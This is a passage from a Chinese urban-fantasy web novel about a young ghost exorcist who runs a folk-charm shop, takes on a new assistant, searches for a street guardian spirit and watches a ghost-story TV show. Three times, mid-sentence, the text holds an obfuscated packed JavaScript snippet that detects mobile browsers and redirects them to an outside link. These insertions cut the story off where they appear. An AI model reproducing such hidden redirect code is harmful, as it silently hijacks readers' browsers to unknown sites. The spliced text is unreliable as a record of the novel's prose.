谢酬神不太适应城市生活，作法时举着手机骗他说在自拍都能信，故此留下了不少早期作法资料。 当然，也有人怀疑。 “谢家人的符，不可能吧？谢家这一代就剩谢酬神一根独苗，我记得他没有姐妹啊！” 而且谢家人比较特殊，因为身负天谴的缘故，几代人都在久居深山，不怎么社交，人也比较老派。 前几年谢酬神出山不仅穿着古装，还带了一队纸人午夜上宣传部报道，接待处以为有大鬼围城，吓得神经衰弱了好几天。 有了这事，宣传部现在每年都宣传让新人先在app打卡。 话又说回来，谢家人独来独往，真想不到他们会把家传绝教给谁，关于祝如意和谢家人的关系，论坛众说纷纭。 谢酬神长得比较帅，在圈子里也有不少迷妹迷弟，有人就想通过小马哥问祝如意究竟是怎么回事。 小马哥上哪知道去，但他也有一手资料，爆道：“那个祝如意，当时来报道也是直接上的宣传部，接待处听说有新人吓得都没敢出门……” 祝如意刚浏览完论坛，整个人也很茫然，她很想说，什么谢家人，这就是网上认识的小哥给我的好吧？小哥说我们家以前帮过他！ 再仔细一想，那串原始数字ID是谢酬神，也太吓人了。 茫然中，她给数字君发了个消息，问：你是谢酬神吗？ 数字君许久回了一个：嗯。 还真是谢酬神，祝如意挺开心的，多认识一个人多一条发财路嘛，她还挺好奇永安堂怎么帮过他的，不过了解到谢酬神往事后，就立马打消了线上沟通的想法。 因为，祝如意打心眼里怀疑谢酬神打字是用一根手指在键盘上戳出来的！ 15. 下流的邪神 尽管结识了谢酬神这样有名的圈内大神，祝如意也没好意思一直骚扰人家。 反正都是同代，他们这代人一共就四个，除鬼师总有集体行动的时候，还愁有套不着近乎的那一天吗？ 矜持才能放长线钓大鱼，不管跟谁，话说多了都不值钱。 祝如意想起在不久的将来自己就能找到祝素秋做个孝女，还能把永安堂经营成业界标杆，做梦都是哈哈哈哈的。 方老太不明所以，一早端着稀饭还道：“如意啊，昨晚有耗子在家吱吱吱地叫了一宿，你能咒死它们全家吗？要是成仙不能杀生，那就算了。” 祝如意闭紧了嘴巴：“……鼠鼠多可爱，杀鼠鼠干什么？” 但到了中午，她登上微博一看，永安文创竟然涨了三千粉丝，又乐得发出了反派人物的笑声。 - “人红了以后烦恼就更多了。”祝如意吃着米粉跟牛老板如是道：“加双倍浇头，一个虎皮鸡爪，一张炸蛋。” 店铺重新开门以后，客流量增大了不少，甚至还有一些来锦花市旅游的游客，专门过来看她舞剑符，祝如意在家重新录了清晰的视频，又花一万多在墙上做了个大液晶屏反复播放，企图拨乱反正。 没想到网上流传最多的还是那十五秒豪放派的视频。半个月过去，现在附近居民都开始叫她小狂了。祝如意这大吃一口米粉悠悠道：“鼠鼠我呀，愁得一天都只能吃四顿了。” 自从隔壁网吧被整改关了以后，牛老板生意便冷清了些许，闻言流着口水表示：我愿意有这个烦恼，让我来好不好！！ 其实祝如意说的不是假话，她一个人要学习，又要做产品，又要做生意，还要盯装修——挣了十三万后，她打算把永安堂后院也全面翻修一下，争取不给方圆街丢脸。 一个人分成两个也做不过来，经常熬夜做了一点产品，第二天早饭都还没吃完就买光了。 也不是说她生意有多好，关注玄学和民俗文化的人群始终是小部分，这一小部分里信这些以及愿意花钱买的人那就更少了。 过来凑热闹的游客百分之九十也不会花钱。 主要还是祝如意产量太低闹的，日产四十的动静，活生生闹出了日产四万件的效果。 好多居民说起来都叹气：“这个小祝，一红就有点变了，开始搞饥饿营销了！” 祝如意为了守住自己的名声，每天都累得抬不起腰，不免产生出了想招人的念头。 牛老板擦着桌子笑：“以前小李不是请了很多大学生吗，一茬一茬的，八百块一个月多划算，再请一个呗。” 祝如意更想叹气了！ 永安堂在锦花大学实习群还算有点名气，每年毕业季都会有几个富二代开着宝马大奔过来体验生活。干几天活装个×，工钱都不要就跑了。 但店一有名声，人家就不来了，说是“泯然众人矣”。 祝如意完全搞不懂这些富二代的想法。而且现在店在她手上也不好再随便招人。 她咬着筷子想到了徐行知。 第一他够穷，大概率要不了多少工资，第二，他是圈内人，有点真本事，可以帮忙一起画点符，做点产品出来。第三，他嘴皮子利索，分毛不让，对一些渠道供应商，就该这样的人才上。 愁云惨淡地吃了两碗米粉后，祝如意回到店里打开手机给徐行知发了五块地铁钱，又问：在吗？请你吃个火锅。 徐行知秒回：谢谢请吃饭的姐姐！ 看人家打字，多快！ - 这时，瘦了一大圈的孟云带了一个小药包蚊声道：“祝老板。” 祝如意有好一阵没见过他了，当日梦里，孟澜说要分她一包药，言谈间还一副认识她妈的样子，她一直很想问清楚。 李煦听她说了以后，还翻了一阵相簿拿了一张照片给她。 照片上他和祝素秋以及孟澜站在“孟医生诊所”门前揽着肩拍了一张照，三个人都笑得一脸灿烂。 李煦道：“我和孟澜都是锦花医大的学生，因为小秋干活要收中药，我慢慢就跟他认识了。” 后来的事祝如意也能猜到，——她妈估计为了减少成本没少打劫人家。 其实孟澜去世后，祝素秋和一些同学还在学校组织过募捐。 人与人之间并不是说欣赏就会一直有来往，大家也就是在最后的学生时代走过一段路而已，所以孟澜一家的近况，李煦是真不知道。 听说孟澜魂归天地，李煦甚至亲自折了一些元宝去乡下上坟。 孟母和孟云是最后一批包办婚姻，两个人对对方都没什么感情，后来家里老的一死，就和平离婚了。 祝如意估计孟家根本没有孟澜的照片，还特意把三人的照片复印了一张交给孟云。 那功德汤似乎真的大补，前阵子祝如意在王孟家看见他还是骨瘦如柴、萎靡不振的样子，现在再看，人虽然愁眉苦脸，脸上却透着一层红润的水光。 孟云摸着照片，更不好意思了。 他这趟过来除了送药之外，也是想当面跟祝如意聊一聊：“有没有什么办法让我爸继续以鬼身存在呢？” 祝如意摇头：“人死为鬼，鬼死为魙，魙死为希，希死为夷。希代表失去了外形，夷则代表连声音也没有了。” 《道德经》就曾说：“视之不见名曰夷，听之不闻名曰希。” 她第一次察觉到孟澜的气息时，他就是模模糊糊的一点微光，那时其实就是聻。 孟云梦中出现的孟澜，也只是借助她的法力构建的一处幻相，并不是说帮他补足了身形。 现在孟云过来，她连樟脑丸的味道也没有再闻到，说明孟澜真的消失在了天地间。 孟云怅然若失，其实心里也明白这一点，这两天他画大钱请市内有名的高僧道事做水陆道场，要是有用他就打算把药还给孟澜。 但那些香火一燃，全都漫无目的地飘散在空中，一看就是知道没人收。 他只是，不肯死心罢了。 祝如意只能劝他节哀，还道：“魂回天地又不是彻底消散了，天地间的灵魂碎片还会重新聚集在孕妇胎中。” “你可以看看附近有没有怀孕日期和孟叔叔消失时辰一样的，将来说不定能在他身上看见孟叔叔的影子呢？不过碎片是碎片，即使真的像，他也不会是以前那个人了。” 孟云没想到事情还能这样峰回路转，顿时大为感激，道：“是不是以前那个人其实不重要呀。碎片投胎也是投胎嘛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15042950|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前我以为他是魂飞魄散了……”说着竟然哭出声了。 - 孟云走了以后，祝如意忽然察觉到了一点。 如今鬼不能转世投胎了，那岂不是很多鬼都要绞尽脑汁、甚至不惜害人地获取香火？被收了也是死，不收也是死。肯定有很多鬼会为了做一方鬼王铤而走险啊。 当上鬼王就好比考上了鬼界事业编，吃穿只用压榨下边的小鬼，甚至连小鬼本身，对他们也是道菜。 难怪书上说越是现代的鬼越凶残，特么的，毕竟谁都知道这是场没有第二次机会的考公，能不凶残吗？ 祝如意写孟云家的结案报告前，特意问了下小马哥，八卦道：“是不是最近有大邪神在驭使小鬼四处窃取香火啊？” 小马哥忙得脚不沾地，看见这条消息脸刷一下就白了，还打了个电话过来，大惊失色道：“我的姑奶奶，你从哪知道的！！” “猜的呗！”祝如意嘻嘻一笑，分析给他听：“那些出马仙在花鸟市场卖了很多泰山石骗人供奉，跟着孟云的这块里有喜丧神，那别的石头里会不会有别的什么神？” 按博物馆馆长的说法，这尊喜丧神年纪都大成文物了。 那它表现得一副被吸干了的脆皮样是怎么回事？ 祝如意可是现学的剑！这样都能让它神魂俱灭，鬼界的脸都被丢完了好不好。 而且根据她对锦花市鬼怪闲谈app的观察。 宣传部虽然对知识把控很严，但关于鬼怪的消息还是很流通的。毕竟谁也不想市里本就不多的除鬼师再折损人手。 但比较诡异的是，几个诈骗犯出马仙都闹上新闻了论坛竟然一点动静也没有。 “最近日子确实不太平。”小马哥迟疑了一下，小声道：“但这件事不要外传，我们现在也不知道这大邪神是已经成了鬼王还是在成鬼王的路上，不过杨部长他们都研究过了，这邪神能力很特殊，讨论它也算一种供奉，知道事情的人越多，它的能力就越大……” “下流！无耻！自恋狂！谁要做它的信徒！”祝如意也吓了一跳，心里大叫一声卧槽，她只是随口八卦，可没想到能打听出这么猛的料…… “谁说不是呢？”小马哥默默补了句，无语道：“但你也别赏它了，这个它也算供奉的……” 祝如意用手指比了个国粹，这总不算了吧？ 小马哥苦笑两声，挂了电话后就匆忙给部里发消息，想问问看，这又多了一个人知道究竟要怎么办？ - 知道不能讨论邪神后，总结孟澜事件时，祝如意就特地避开了这一点 不到三天审核就通过了，这次部里只给了祝如意四千积分。 祝如意差点骂人，封口费不给就算了说好的舞剑作法六千点呢？ 没多久徐行知提着西瓜赶来蹭火锅，路上忽然道：“部里让我跟你说一声，这次给了你一个特别的任务，积分很多，而且还很威风。”说完一顿，看她，“找街仙你知道吗？” 祝如意见有利可图，抱怨的话瞬间卡在喉咙里，热情地问道：“杨部长身体还好吧？锦花市还得仰仗他老人家主持大局呢，可不要操劳过度生病了了啊……” 徐行知语塞半天：“……你学川剧的啊！” 16. 街仙 街仙和保家仙类似。 北方城市流行找胡黄白柳灰五大得道的动物，胡是狐狸，黄是黄鼠狼，白是刺猬，柳是蛇，灰是老鼠。 通常都是一户人家机缘巧合之下在五大仙儿得道的关键点帮助了它们，得道后它们才会主动上门找到这户人家，保佑他们发家致富。 动物比较死心眼，一般报恩都会涉及三代以上的人，直到恩人家没有再适合它们上身的子弟才会心灰意冷地离开。 但胡黄不过山海关，到了南方五大仙儿就少了。 像锦花市因为多山，市民多有巨石情节，供的大多就是动物石像。 等到十一月十五，老百姓走百病那天，算好时辰把有灵性的动物石像挪在方圆街的风水位，就成了街仙。 可以震慑一些来犯阴魂，也能管理一下街上的阴魂纠纷，老鼠打架啥的，勉强能代一下山神、土地的职业。 总体来说，干这件事的人就算这条街在鬼怪界的代言人了。 一条街那么长，周边小区总有几个有点本事的神棍，却独独挑中方圆街。 这是什么水平？ 反正祝如意跟家里说了以后，祝老头和方老太乐得晚上都睡不着觉，他们觉得这就差不多算在宗教界考上编了。 祝老头甚至有大病初愈的感觉，嘀咕道：“哎呀，如意，以后你就是疯得跟你爸对打，阿公也不对你再竖一跟手指头啦！” 李煦：…… 方晴：…… 祝如意：…… - 找街仙这事也不是那么容易的。 这年头有灵性的动物都不容易成精，更别说天生没有心的顽石，而且天下石头除了泰山石都很邪门。 正当如齐天大圣，那不也是只泼猴吗？要是请个祖宗回来，谁敢说自己比猪八戒还耐揍？ 祝如意每天趁着人少的时候，就把店铺委托给柳杏杏或者牛老板暂管，自己骑着小黄油在市区观摩各种动物石，连礼品店里的动物摆件都不放过。 可惜找了半个月都一无所获，事缓则圆，这种事也急不来。 这天祝如意刚骑着小黄油从街上转悠着回来，一眼就看到徐行知穿着家传深紫色道衣，拿着把桃木剑在永安堂门口招待顾客。他见谁都喊姐姐，三两句逗得几个大妈花枝乱颤。 徐行知自从和祝如意混熟了以后，隔三差五就来永安堂蹭吃蹭喝，期间也帮了祝如意和附近居民一些诸如提水、拎瓜、捧哏之类的小忙。 常来用安堂的居民对这个年轻帅气的小伙子都已经有些眼熟了，有些比较会聊天的，甚至知道他在宣传部干的是“瓷国本土鬼怪现象田野调查研究”，听起来特别牛x。 大家对他印象都还不错。 一个对着屏幕学剑符当广场舞跳的大妈摇着飘逸的渐变红大舞蹈扇，见祝如意过来，笑道：“小祝，徐小哥嘴好甜的，你给他一顿吃几个菜啊，这么会说话！” 他们也不觉得徐行知辞掉宣传部的工作有什么稀奇。徐小哥在他们心里也就牛了这一个来月，小祝在他们心里可是牛了十几年的好吗！ 尤其最近人家还为非物质文化遗产做出了巨大贡献，在短视频平台好几个热视频。 “厄……”祝如意是想招他，关键是她一忙起来把这事儿给忘了啊，含糊应付了大妈后，她把徐行知拉到后院问：“你怎么个事儿啊？穿成这样就出门了，别是被扫地出门了吧？” 徐行知坐在懒人椅上狠狠吃了口大妈给的水蜜桃，道：“我是自己跑出来的！” 事情是这样的。 徐行知爸妈一直都跟着杨家人吃饭，出事也是出在给杨部长办事的路上，杨家人收养他，也对他不错。 关键是徐父徐母是出于正义除鬼去世，可杨部长一直不让对外公布死因，还大肆宣扬“无鬼说”，表示宣传部做的都是文化研究，实际所有人都是信奉科学的。 徐父徐母在徐行知眼里差不多就算白死了，还是死得很气人的那种，因为很多人都说他们这种神棍害人不浅，死就死了呗。 徐行知没办法理解，也干不过杨部长，他就偷摸在论坛免费发了很多科普贴，还都是用的杨家典籍。 祝如意真是服了，道：“原来科普君是你。” 她就说天下那么无私的人不多见吧。搞了半天是徐行知在慷他人之慨。 徐行知哼哼两句，道：“小祝，你是不知道那糟老头子有多坏。” 最近市里不太平，很多运势比较低的人都容易撞鬼，锦花电视台见这个有热度，就在网络平台办了个灵异综艺。 综艺邀请了各行各界的明星、素人来说自己的撞鬼经历，主题也很简单，就是——你觉得世界上有没有鬼。 祝如意搜索了一下，看见主持人竟然前领导王哥李姐，不禁在心里感叹，幸亏自己辞了职，要是她不辞职，跑去午夜节目的就是自己了。 祝如意道：“那这节目就是《走进锦花》的变种啊，整得花里胡哨的，目的还是为了辟谣。” 徐行知也理解，这综艺属于午夜档，晚上十二点才播，正是他们这行干活的时候，路上很多人都喜欢放这个打发时间。 前两天，徐行知和杨贵生一起做事，说起有没有鬼竟然吵起来了，他觉得老百姓很有知情权，干嘛不告诉人家呢？ 杨贵生则认为，鬼怪本来就是靠人的恐惧吃饭，知道的人越多越容易出乱子。 这话扯多了就扯到徐父徐母身上去了，最后两人大吵一架。 徐行知：“我一气之下就跑出来啦，这回老杂毛不认错，我绝对不回去。” 祝如意听了这么个悲惨的故事，也不知说啥好了，她对要不要告诉居民有鬼的态度比较随意，属于不主动宣扬，也不禁止别人询问，于是只问了一个比较关心的问题，“你爸妈是怎么想的？他们想告诉别人自己在干什么吗？” 要是徐父徐母想说杨部长不让，那她就有话说了。 “厄，他们是不想说。但我听见那些话不好受嘛。”徐行知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15042951|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不恨杨部长，干他们这行的心里都有数，知道自己说不准哪天就没了。 祝如意放心了一点，道：“那你想怎么办？” “我也不知道，就是不知道才想出来弄明白嘛。”徐行知叹了口气，话题一转道：“你这儿不是缺人吗？收下我怎么样？底薪一千加提成，包吃包住就行。” 他也不是乱来的，祝如意这才当上除鬼师几天啊，部里连方圆街的街仙都交给她了，尽管里边沾了点封口费的意思。 但要不是认可她的潜力，也不能随便同意！ 祝如意笑得合不拢嘴，她本来预计的是给徐行知两千块底薪加提成，还怕人不干。 但永安堂腰包还不够肥，给不了更多啊，这几天她也去打听了一下要把后院装修起来要多少钱，师父来店里转了一圈就说要十万块。 赚的那点钱，还没捂热乎呢，风似的就没了一大把半儿。 此时徐行知不仅毛遂自荐，甚至还大降身价，祝如意还有什么不乐意的，马上就打印了一份合同，道：“小徐，以后就多多关照啦！” - 永安文创后院有两间房，祝素秋旧居还没整理，但杂物房东西不多，略微收拾下就能住人，徐行知偷摸变作土行孙大包小包地回宣传部搬了几趟家，就这么安家落户了。 但是没几天他就觉得事情有点不对。 以下是小徐的行程表： 早上七点半起来给永安文创开门，八点半接待一波小学生，十点半接待一波游客，吃了饭，下午一点半刻一波符，三点半想一波产品，五点半接待一波放学的小学生，七点半接待一波出门转悠的居民。九点半开始算账。十一点半打开典籍学习。 偶尔还要给来装修的师父端茶倒水。 妈呀，他觉得自己在高考！ 柳杏杏看他累得团团转，吃着烤丸子，道：“小祝一个月给你多少钱？竟然能身兼产品经理、财务总管、前台服务三职！” 徐行知猛然回神，在心里点了根烟，道：“冲动是魔鬼啊……” 他怎么就把自己这么给贱卖了，那小祝也是，笑得那样儿，也不劝他多考虑几天…… - 祝如意在外打了个哈秋，自从把店里的事交给徐行知，她就专心找街仙去了。 可能是良心作祟，回来路上看见街边在卖柠檬鸡爪，想起小徐爱吃这个，她还特意排了队，打算买三斤回来给他下饭。 这家鸡爪店很有名，做出来的鸡爪酸甜可口，关键是爪子也比较软，太脆的祝如意就不爱吃。 排队的人比较多，闲来无事，前边的小情侣打开了一档综艺打发时间。 祝如意听到熟悉的主持音抬头一看，好巧不巧，正好是王哥李姐主持的《异世界的来客》。 也是那个让小徐离家出走的午夜鬼话节目。 一个合格的老板不仅要让员工吃饱穿暖，还要时刻关心他的精神状态。 于是，祝如意也跟着小情侣一起看了起来。 17. 异世界的来客 小情侣似乎是自来熟，见祝如意过来凑热闹，两人还往旁边挪了挪，小妹子把平板放在三个人中间让她看，问她：“你要加入吗？” 祝如意心想，难不成她还能是来拆散的？ 三个人组成了一个新家后，小妹纸明显看不上男票了，转头就对祝如意大吐苦水，道：“《异世界的来客》已经做了好几期，打的噱头是探究素人与明星的不解之谜，——你知道娱乐圈四百页ppt吗？” 祝如意道：“写某某女明星养小鬼，某某男明星诱导粉丝站成吸运阵夺取同行鸿运的那个？不都是胡扯的吗？听说当时第一个卖ppt的人都赚八套海景房了。” 小妹子道：“我也不信，我是来看这节目几时完的，这两个主持人可坏了，每期都说来的是一线顶流，会在节目解释有没有结阵吸运，一播出顶流陡变三十六线糊咖，太不要脸了！” 祝如意：“唉，他们也是太穷了。” 事实证明越不要脸赚得越多，《异世界的来客》在网上反响比《走进锦花》好多了。 有了预算后也开始慢慢往大牌演员请，这一期就有个婆婆是豪门狗血剧的常客。 通常演在饭桌端菜的吃瓜保姆。因为“在豪门狗血剧演我”的梗走红，观众还算脸熟。 所以观看人数很快就上了十万。 婆婆六十多，叫余娴。 娴婆婆在节目上娓娓道来，说的是自己四十多岁时在老式糖果店当柜员的事。 那一年夏天特别阴凉，雨水下个不停。 娴婆婆离了婚带着自闭症女儿来锦花市找工作，她听人说，像她们这样的母女在城市里做下水道的老鼠也比留在村里好，至少不会一个没看住女儿就出事了。 娴婆婆在好心人的帮助下，暂时租了一间九平米的小屋，晚上做好一天的饭，白天把女儿关在门里出门找工作。 当时方亭街有一个糖果铺特别缺人，一个月两千块，包吃包住，但一直没人敢去，介绍人问她敢不敢。 娴婆婆留了个心眼儿自己先打听了一番。 没想到还真被她问出桩大事。 糖果铺楼上以前住的是一对卖猪肉的夫妻，因为家里孩子多养不过来，女人只好去沿海城市打工，差不多过了六年，拿了三十万回来在小区楼上买了房，据说她在沿海曾经有一个情人。 她老公知道后也没证实，就把女人和孩子全部吊起来勒死了，之后自己也喝农药自杀。 一家七口人都死于非命。 小区的附近的居民特别害怕，经常有人说听见那间房子有蹬椅子上吊的声音，还有人看见老槐树下有几个小孩在玩丢手绢，脸色特别白，脖子上还有一圈儿勒痕。 没多久一条街除了搬不走的，其他居民都跑了，街道也冷清下来，每天只能看见洒水车和环卫工人。 但那家糖果店是本地有名的老字号，店主人找人看过风水，大师说可以开分店，但不能关总店。 店主夫妻不敢留在铺子里，就开始招人。 娴婆婆听完心里也毛得厉害，据说那个女人被勒死时穿的还是红衣服。 但店主允许她们母女免费住在隔出来的卧室，水电费都不用自己交，迫于生计，娴婆婆同意了。 那是七月初的傍晚，还有几天就是中元节，天飘了点小雨。 娴婆婆在店里蹭了颗老水果糖给女儿吃。正在剥糖纸，她女儿一直抬头看着楼上，眼睛直勾勾的。 娴婆婆认真听了一下，慢慢的，她听见有人在走动，还有类似大刀剁骨头的声音传来。 她吓得浑身冒冷汗，想要辞职又怕吃不上饭，正犯愁呢。 店外来了一对常客夫妻，男人姓徐女人姓赵。家里小孩才五岁多点，特别爱吃糖果铺的橘子糖，每隔三天两人就要来买一次。 恰好这夫妻两还都是神棍，不少居民都说他们是招摇赚骗的大骗子。 徐赵夫妻进门也听到了楼上的动静，见娴婆婆脸色铁青。 赵小姐道：“可能有耗子吧，前几天不是说动物园走丢个八斤多重的耗子吗？就在咱们街附近来着。”说着就要上楼看稀奇。 嘉宾听得津津有味，娴婆婆道：“我当时还劝了两下，横死了那么多人，真是鬼不知道得多凶！” 徐小哥却道：“我们是职业神棍，真有鬼我们早遭天谴啦。” 娴婆婆让两人这一逗，思维也逐渐向科学发展了，甚至开始翻动物园的报纸，看还鼠人能赚多少奖金。 赵小姐期间还跟她女儿说了两句话，给她喂了颗奶糖。她女儿很快就安静下来，开始趴在一边开始看动画片。 大概过了有十五分钟，娴婆婆听见楼上的板凳在疯狂响动，好像有好几个人同时从上边跳下来似的，空气也变得很躁动，一百多只蝉在大热天围着人叫也没那么烦。 她还想这耗子真不愧是八斤多的。 等女儿看完两集动画片，绵绵细雨似乎停滞了一瞬，很快陡然加速变成瓢泼大雨，娴婆婆却觉得，随着这场狂风暴雨，自己连日以来的疲倦和粘在身上的潮湿感通通都不见了。 又过了两分钟，徐姓夫妻也下来了。 娴婆婆已经跟女儿坐在店门口端着豆花饭，一滴一滴数屋檐下的雨玩。 她很清晰地看见赵小姐腕子上多了了小小的黑手印，徐小哥的手上也多了一根麻绳。 娴婆婆感觉自己三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15042952|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观都碎了，她提着两人忘了拿走的糖冒着雨跑过去，忧心忡忡地问：“哎呀小徐小赵，真的是耗子吗？还是说真的有鬼呀？” 那时两人都异口同声地道：“婆婆，我们是职业骗子啊，有没有鬼的我们还不明白吗？刚刚楼上的动静都是我故意弄出来吓人的，你记住，世界上是没有鬼的。” 主持人王哥搓着鸡皮疙瘩问：“娴婆婆，那你自己是怎么想的？” 娴婆婆在这里卖了个关子，道：“下期再说吧，我再蹭个通告费，不过有个小提示，后来我在娱乐圈遇见过比这还古怪的事，不过因为这句话都挺过去啦。而且从那以后，我每天晚上睡得都很香。” 小情侣听到这里也开始窃窃私语。 小妹纸：“我滴妈呀，肯定是高人，事了拂衣去，深藏身与名！” 祝如意心想，你刚刚还说不信呢！ 不过她听见里边有个人姓徐也笑了一下，不知道的还以为跟徐行知有什么关系呢。 买完了柠檬鸡爪，不知怎么，祝如意走到半路又冒着细雨骑着小黄油去了一趟方亭街，老糖铺倒是还在，营业的年轻店员也在看《异世界的来客》。 店员擦擦手走过来有点哆嗦地问：“要点什么？” “一斤橘子味水果糖。” - 徐行知今天没看节目，他在屋子里疯狂转各种抽奖微博和转运微博，企图咸鱼大翻身。 柳杏杏因为走超级背字，很少有同龄的朋友，现在很喜欢待在店里跟徐行知胡扯，那小卖部都快给她开成二十四小时便利商店了。 祝如意拎着鸡爪回来，两人都瘫在沙发上露出了见到衣食父母的欣喜。 趁着两人吃夜宵，祝如意扫了一眼电脑桌面。 徐行知做事真没话说，就这么几天，他都给永安堂拉了个核心群了。比较迷信一点的人每天都在给他发消息。 小徐为了多挣外单，起床第一件事就是观察这些消息里，哪些是人吓人，哪些是鬼吓人。 这会儿屏幕上正疯狂地在滚动消息，祝如意也瘫在沙发前，道：“嘛事儿？小徐子何在？我晕字。” 小徐含着块水果糖，小仓鼠似的鼓起一坨腮帮子，瞪她一眼，道：“隔壁小区有个小妹子，怀疑自己网恋遇见鬼了，拿了两万块压岁钱请我们去看。” 他甚至还贴心地安排好了见面时间。 祝如意靠了一声，心想：这不成田螺姑娘了吗？连小秘书的活儿都愿意干了…… 等她把电脑接过来一看，人瞬间起了一层白毛汗。 这不是刚才跟她有一搭没一搭说话的小姑娘吗？ 她没男朋友，那刚才站在她们身边的是谁？